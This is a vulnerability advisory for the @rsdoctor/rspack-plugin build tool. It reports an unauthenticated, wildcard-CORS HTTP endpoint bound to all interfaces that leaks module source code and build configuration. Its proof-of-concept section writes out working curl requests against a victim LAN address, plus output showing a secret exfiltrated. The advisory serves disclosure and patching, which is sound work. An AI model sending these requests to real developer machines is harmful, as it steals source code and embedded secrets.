Résumé
@rsdoctor/rspack-plugin has Unauthenticated HTTP API that Exposes Project Source Code and Build Metadata
Détails de l’avis
Summary
The default Rsdoctor report HTTP server started by @rsdoctor/rspack-plugin binds to all network interfaces (0.0.0.0) and serves a POST /api/data/key endpoint with no authentication and wildcard CORS (Access-Control-Allow-Origin: *). Any network-adjacent or remote attacker can send a single unauthenticated request to retrieve the full source code of all compiled JavaScript modules (moduleCodeMap), serialized build configuration (configs), error details, and other sensitive build metadata. This server is enabled by default in non-CI environments, requiring no special configuration from the victim developer.
Details
Root cause: server binds to all interfaces with no authentication and no key allowlist.
The vulnerability is composed of four independently observable defects that together create a complete unauthenticated information-disclosure path:
1. Server binds to 0.0.0.0 (all interfaces)
packages/utils/src/build/server.ts:107 calls server.listen(port, callback) without a host argument. Node.js defaults to 0.0.0.0, exposing the server on every network interface of the developer's machine, including LAN interfaces.
// packages/utils/src/build/server.ts:83,107
server.listen(port, () => { // no host → 0.0.0.0
resolve(res);
});
2. Wildcard CORS enabled unconditionally
packages/sdk/src/sdk/server/index.ts:106 applies cors() middleware with no origin restriction, and :203–204 additionally sets Access-Control-Allow-Origin: * explicitly on every API response, allowing cross-origin browser requests from any domain.
// packages/sdk/src/sdk/server/index.ts:106
this.app.use(cors());
// :203
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
3. POST /api/data/key registered with no authentication middleware
packages/sdk/src/sdk/server/apis/data.ts:6 registers the route via @Router.post. There is no authentication guard, token check, or session validation anywhere in the middleware chain.
// packages/sdk/src/sdk/server/apis/data.ts:6,13,29
@Router.post(SDK.ServerAPI.API.LoadDataByKey)
public async loadDataByKey() {
let { key } = req.body as SDK.ServerAPI.InferRequestBodyType<SDK.ServerAPI.API.LoadDataByKey>;
const data = await this.loadData(key);
return data;
}
4. key is passed to getStoreData() without an allowlist
packages/sdk/src/sdk/server/apis/base.ts:29–39 indexes the entire SDK data store directly using the attacker-controlled key, including dot-path traversal for nested keys.
// packages/sdk/src/sdk/server/apis/base.ts:29,33,35-36
const data = this.ctx.sdk.getStoreData();
let res = data[key];
if (key.includes(sep)) {
res = key.split(sep).reduce((t, k) => t[k], data);
}
return res;
Source-to-sink data flow:
| Step | Location | Description |
|---|---|---|
| 1 | packages/rspack-plugin/src/plugin.ts:111 |
Plugin bootstraps the SDK server during build |
| 2 | packages/core/src/inner-plugins/utils/config.ts:98,110–115 |
disableClientServer defaults to false; server starts in all non-CI builds |
| 3 | packages/utils/src/build/server.ts:83,107 |
HTTP server created and bound to 0.0.0.0 |
| 4 | packages/sdk/src/sdk/server/index.ts:106,203 |
Wildcard CORS applied unconditionally |
| 5 | packages/sdk/src/sdk/server/apis/data.ts:6,13,29 |
Attacker key accepted from request body |
| 6 | packages/sdk/src/sdk/server/apis/base.ts:29,36,39 |
key indexes sdk.getStoreData() with no allowlist |
| 7 | packages/sdk/src/sdk/sdk/index.ts:487,491 |
moduleCodeMap getter calls _moduleGraph.toCodeData() |
| 8 | packages/graph/src/graph/module-graph/graph.ts:464–469 |
toCodeData() returns all module source objects |
| 9 | packages/graph/src/graph/module-graph/module.ts:248–250 |
Each module exposes source, transformed, and parsedSource |
| 10 | packages/sdk/src/sdk/server/router.ts:119,125 |
Serialized result written to HTTP response |
Default configuration ensures source code is captured:
packages/core/src/inner-plugins/utils/config.ts shows that noModuleSource, noAssetsAndModuleSource, and noCode all default to false, causing normalizeReportType to return SDK.ToDataType.Normal. This means module source code is stored in the SDK data store by default and retrievable via the moduleCodeMap key.
PoC
Original PoC
Environment setup:
# Create and enter a temporary project directory
mkdir /tmp/rsdoctor-poc && cd /tmp/rsdoctor-poc
pnpm init
# Install the vulnerable version
pnpm add -D @rspack/core@^2.0.8 @rspack/cli@^2.0.8 @rsdoctor/rspack-plugin@1.5.11
# Create a source file embedding a secret
mkdir src
cat > src/index.js <<'EOF'
const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';
console.log(INTERNAL_API_KEY);
EOF
# Create rspack config with the Rsdoctor plugin (default settings)
cat > rspack.config.js <<'EOF'
const { RsdoctorRspackPlugin } = require('@rsdoctor/rspack-plugin');
module.exports = {
mode: 'development',
entry: './src/index.js',
output: { path: __dirname + '/dist', filename: 'bundle.js' },
plugins: [new RsdoctorRspackPlugin()]
};
EOF
# Run rspack — the Rsdoctor HTTP server starts automatically
pnpm rspack -c rspack.config.js
# Note the printed port, e.g.: http://<lan-ip>:3717/index.html
Exploit (from any host on the same LAN, no authentication):
# Primary probe: exfiltrate all module source code
curl -s "http://<victim-lan-ip>:<port>/api/data/key" \
-H 'Content-Type: application/json' \
--data '{"key":"moduleCodeMap"}'
# Response: full source code of every compiled module, including secrets
Expected response (excerpt):
{
"...": "...",
"source": "const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';\nconsole.log(INTERNAL_API_KEY);\n",
"...": "..."
}
Secondary probe: exfiltrate build configuration and local paths:
curl -s "http://<victim-lan-ip>:<port>/api/data/key" \
-H 'Content-Type: application/json' \
--data '{"key":"configs"}'
# Response: 9,278 bytes of serialized build configuration including absolute file paths
Automated PoC (Docker-based, self-contained reproduction):
The Docker-based reproduction builds and starts the vulnerable project inside a container, then executes poc.py to confirm source code exfiltration. The PoC embeds the marker string rsdoctor-vuln-001-secret-EXFIL-abc123 in the compiled source and asserts its presence in the unauthenticated API response:
============================================================
VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak
============================================================
[*] Detected Rsdoctor server on port: 3717 (after 3s)
[*] Running PoC exploit against http://127.0.0.1:3717 ...
[*] Target URL : http://127.0.0.1:3717/api/data/key
[*] Payload : {"key": "moduleCodeMap"}
[*] Auth header : (none)
[+] HTTP status : 200
[+] Response size: 738 bytes
[+] SECRET MARKER FOUND IN RESPONSE: 'rsdoctor-vuln-001-secret-EXFIL-abc123'
[+] Context around secret:
...NEVER be able to read this content via an unauthenticated HTTP API.
const RSDOCTOR_SECRET_MARKER = "rsdoctor-vuln-001-secret-EXFIL-abc123";
console.log(RSDOCTOR_SECRET_MARKER);
module.exports = { secret: RSDOCTOR_SECRET_MARKER };
...
[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API
[+] Secondary probe (key=configs) status: 200, size: 9,278 bytes
Recommended patch:
--- a/packages/utils/src/build/server.ts
+++ b/packages/utils/src/build/server.ts
-export async function createServer(port: number): Promise<{
+export async function createServer(
+ port: number,
+ host = '127.0.0.1',
+): Promise<{
- server.listen(port, () => {
+ server.listen(port, host, () => {
resolve(res);
});
--- a/packages/sdk/src/sdk/server/index.ts
+++ b/packages/sdk/src/sdk/server/in
Références
- https://github.com/advisories/GHSA-jmg2-rcxh-w8q3
- https://github.com/web-infra-dev/rsdoctor/security/advisories/GHSA-jmg2-rcxh-w8q3
- https://nvd.nist.gov/vuln/detail/CVE-2026-61782
- https://github.com/web-infra-dev/rsdoctor/pull/1744
- https://github.com/web-infra-dev/rsdoctor/pull/1758
- https://github.com/web-infra-dev/rsdoctor/commit/602eb306a49b6d19c4c1ea9d8ee0f8caab9e208f
- https://github.com/web-infra-dev/rsdoctor/commit/e9aaef21f85becfe43a46f716509f41ea5edeb40
Vulnérabilités liées
Tout Supply chain →- MEDIUMGHSA-8wvg-r2j4-3737
Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint
- MEDIUMGHSA-3hc7-r24j-rpwc
Vikunja: Cross-project task disclosure through subtask expansion
- MEDIUMCVE-2026-107842
Contao: Protected page content is disclosed to anonymous visitors after contao.search.index_protected is disabled
- MEDIUMCVE-2026-91981
Vikunja: Link-share token can enumerate users through the v2 API
- MEDIUMCVE-2026-91980
Vikunja: Any user can enumerate every team and its members by attaching arbitrary teams to a throwaway project
- HIGHCVE-2026-91985
Vikunja: Read-only project members can obtain any link share's access hash via the single-share read endpoint (v1 and v2) and escalate to the share's permission level